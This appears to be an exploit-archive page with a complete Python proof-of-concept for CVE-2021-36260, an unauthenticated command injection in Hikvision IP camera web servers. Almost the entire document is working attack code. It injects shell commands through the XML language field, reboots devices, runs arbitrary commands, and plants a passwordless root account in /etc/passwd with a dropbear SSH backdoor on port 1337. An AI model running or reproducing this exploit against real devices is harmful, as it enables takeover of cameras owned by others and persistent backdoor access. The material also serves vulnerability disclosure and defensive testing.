Hikvision Web Server Build 210702 Command Injection

2021.10.25
Credit: bashis
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-78

# Exploit Title: Hikvision Web Server Build 210702 - Command Injection # Exploit Author: bashis # Vendor Homepage: https://www.hikvision.com/ # Version: 1.0 # CVE: CVE-2021-36260 # Reference: https://watchfulip.github.io/2021/09/18/Hikvision-IP-Camera-Unauthenticated-RCE.html # All credit to Watchful_IP #!/usr/bin/env python3 """ Note: 1) This code will _not_ verify if remote is Hikvision device or not. 2) Most of my interest in this code has been concentrated on how to reliably detect vulnerable and/or exploitable devices. Some devices are easy to detect, verify and exploit the vulnerability, other devices may be vulnerable but not so easy to verify and exploit. I think the combined verification code should have very high accuracy. 3) 'safe check' (--check) will try write and read for verification 'unsafe check' (--reboot) will try reboot the device for verification [Examples] Safe vulnerability/verify check: $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --check Safe and unsafe vulnerability/verify check: (will only use 'unsafe check' if not verified with 'safe check') $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --check --reboot Unsafe vulnerability/verify check: $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --reboot Launch and connect to SSH shell: $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --shell Execute command: $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --cmd "ls -l" Execute blind command: $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --cmd_blind "reboot" $./CVE-2021-36260.py -h [*] Hikvision CVE-2021-36260 [*] PoC by bashis <mcw noemail eu> (2021) usage: CVE-2021-36260.py [-h] --rhost RHOST [--rport RPORT] [--check] [--reboot] [--shell] [--cmd CMD] [--cmd_blind CMD_BLIND] [--noverify] [--proto {http,https}] optional arguments: -h, --help show this help message and exit --rhost RHOST Remote Target Address (IP/FQDN) --rport RPORT Remote Target Port --check Check if vulnerable --reboot Reboot if vulnerable --shell Launch SSH shell --cmd CMD execute cmd (i.e: "ls -l") --cmd_blind CMD_BLIND execute blind cmd (i.e: "reboot") --noverify Do not verify if vulnerable --proto {http,https} Protocol used $ """ import os import argparse import time import requests from requests import packages from requests.packages import urllib3 from requests.packages.urllib3 import exceptions class Http(object): def __init__(self, rhost, rport, proto, timeout=60): super(Http, self).__init__() self.rhost = rhost self.rport = rport self.proto = proto self.timeout = timeout self.remote = None self.uri = None """ Most devices will use self-signed certificates, suppress any warnings """ requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning) self.remote = requests.Session() self._init_uri() self.remote.headers.update({ 'Host': f'{self.rhost}:{self.rport}', 'Accept': '*/*', 'X-Requested-With': 'XMLHttpRequest', 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8', 'Accept-Encoding': 'gzip, deflate', 'Accept-Language': 'en-US,en;q=0.9,sv;q=0.8', }) """ self.remote.proxies.update({ # 'http': 'http://127.0.0.1:8080', }) """ def send(self, url=None, query_args=None, timeout=5): if query_args: """Some devices can handle more, others less, 22 bytes seems like a good compromise""" if len(query_args) > 22: print(f'[!] Error: Command "{query_args}" to long ({len(query_args)})') return None """This weird code will try automatically switch between http/https and update Host """ try: if url and not query_args: return self.get(url, timeout) else: data = self.put('/SDK/webLanguage', query_args, timeout) except requests.exceptions.ConnectionError: self.proto = 'https' if self.proto == 'http' else 'https' self._init_uri() try: if url and not query_args: return self.get(url, timeout) else: data = self.put('/SDK/webLanguage', query_args, timeout) except requests.exceptions.ConnectionError: return None except requests.exceptions.RequestException: return None except KeyboardInterrupt: return None """302 when requesting http on https enabled device""" if data.status_code == 302: redirect = data.headers.get('Location') self.uri = redirect[:redirect.rfind('/')] self._update_host() if url and not query_args: return self.get(url, timeout) else: data = self.put('/SDK/webLanguage', query_args, timeout) return data def _update_host(self): if not self.remote.headers.get('Host') == self.uri[self.uri.rfind('://') + 3:]: self.remote.headers.update({ 'Host': self.uri[self.uri.rfind('://') + 3:], }) def _init_uri(self): self.uri = '{proto}://{rhost}:{rport}'.format(proto=self.proto, rhost=self.rhost, rport=str(self.rport)) def put(self, url, query_args, timeout): """Command injection in the <language> tag""" query_args = '<?xml version="1.0" encoding="UTF-8"?>' \ f'<language>$({query_args})</language>' return self.remote.put(self.uri + url, data=query_args, verify=False, allow_redirects=False, timeout=timeout) def get(self, url, timeout): return self.remote.get(self.uri + url, verify=False, allow_redirects=False, timeout=timeout) def check(remote, args): """ status_code == 200 (OK); Verified vulnerable and exploitable status_code == 500 (Internal Server Error); Device may be vulnerable, but most likely not The SDK webLanguage tag is there, but generate status_code 500 when language not found I.e. Exist: <language>en</language> (200), not exist: <language>EN</language> (500) (Issue: Could also be other directory than 'webLib', r/o FS etc...) status_code == 401 (Unauthorized); Defiantly not vulnerable """ if args.noverify: print(f'[*] Not verifying remote "{args.rhost}:{args.rport}"') return True print(f'[*] Checking remote "{args.rhost}:{args.rport}"') data = remote.send(url='/', query_args=None) if data is None: print(f'[-] Cannot establish connection to "{args.rhost}:{args.rport}"') return None print('[i] ETag:', data.headers.get('ETag')) data = remote.send(query_args='>webLib/c') if data is None or data.status_code == 404: print(f'[-] "{args.rhost}:{args.rport}" do not looks like Hikvision') return False status_code = data.status_code data = remote.send(url='/c', query_args=None) if not data.status_code == 200: """We could not verify command injection""" if status_code == 500: print(f'[-] Could not verify if vulnerable (Code: {status_code})') if args.reboot: return check_reboot(remote, args) else: print(f'[+] Remote is not vulnerable (Code: {status_code})') return False print('[!] Remote is verified exploitable') return True def check_reboot(remote, args): """ We sending 'reboot', wait 2 sec, then checking with GET request. - if there is data returned, we can assume remote is not vulnerable. - If there is no connection or data returned, we can assume remote is vulnerable. """ if args.check: print('[i] Checking if vulnerable with "reboot"') else: print(f'[*] Checking remote "{args.rhost}:{args.rport}" with "reboot"') remote.send(query_args='reboot') time.sleep(2) if not remote.send(url='/', query_args=None): print('[!] Remote is vulnerable') return True else: print('[+] Remote is not vulnerable') return False def cmd(remote, args): if not check(remote, args): return False data = remote.send(query_args=f'{args.cmd}>webLib/x') if data is None: return False data = remote.send(url='/x', query_args=None) if data is None or not data.status_code == 200: print(f'[!] Error execute cmd "{args.cmd}"') return False print(data.text) return True def cmd_blind(remote, args): """ Blind command injection """ if not check(remote, args): return False data = remote.send(query_args=f'{args.cmd_blind}') if data is None or not data.status_code == 500: print(f'[-] Error execute cmd "{args.cmd_blind}"') return False print(f'[i] Try execute blind cmd "{args.cmd_blind}"') return True def shell(remote, args): if not check(remote, args): return False data = remote.send(url='/N', query_args=None) if data.status_code == 404: print(f'[i] Remote "{args.rhost}" not pwned, pwning now!') data = remote.send(query_args='echo -n P::0:0:W>N') if data.status_code == 401: print(data.headers) print(data.text) return False remote.send(query_args='echo :/:/bin/sh>>N') remote.send(query_args='cat N>>/etc/passwd') remote.send(query_args='dropbear -R -B -p 1337') remote.send(query_args='cat N>webLib/N') else: print(f'[i] Remote "{args.rhost}" already pwned') print(f'[*] Trying SSH to {args.rhost} on port 1337') os.system(f'stty echo; stty iexten; stty icanon; \ ssh -o StrictHostKeyChecking=no -o LogLevel=error -o UserKnownHostsFile=/dev/null \ P@{args.rhost} -p 1337') def main(): print('[*] Hikvision CVE-2021-36260\n[*] PoC by bashis <mcw noemail eu> (2021)') parser = argparse.ArgumentParser() parser.add_argument('--rhost', required=True, type=str, default=None, help='Remote Target Address (IP/FQDN)') parser.add_argument('--rport', required=False, type=int, default=80, help='Remote Target Port') parser.add_argument('--check', required=False, default=False, action='store_true', help='Check if vulnerable') parser.add_argument('--reboot', required=False, default=False, action='store_true', help='Reboot if vulnerable') parser.add_argument('--shell', required=False, default=False, action='store_true', help='Launch SSH shell') parser.add_argument('--cmd', required=False, type=str, default=None, help='execute cmd (i.e: "ls -l")') parser.add_argument('--cmd_blind', required=False, type=str, default=None, help='execute blind cmd (i.e: "reboot")') parser.add_argument( '--noverify', required=False, default=False, action='store_true', help='Do not verify if vulnerable' ) parser.add_argument( '--proto', required=False, type=str, choices=['http', 'https'], default='http', help='Protocol used' ) args = parser.parse_args() remote = Http(args.rhost, args.rport, args.proto) try: if args.shell: shell(remote, args) elif args.cmd: cmd(remote, args) elif args.cmd_blind: cmd_blind(remote, args) elif args.check: check(remote, args) elif args.reboot: check_reboot(remote, args) else: parser.parse_args(['-h']) except KeyboardInterrupt: return False if __name__ == '__main__': main()


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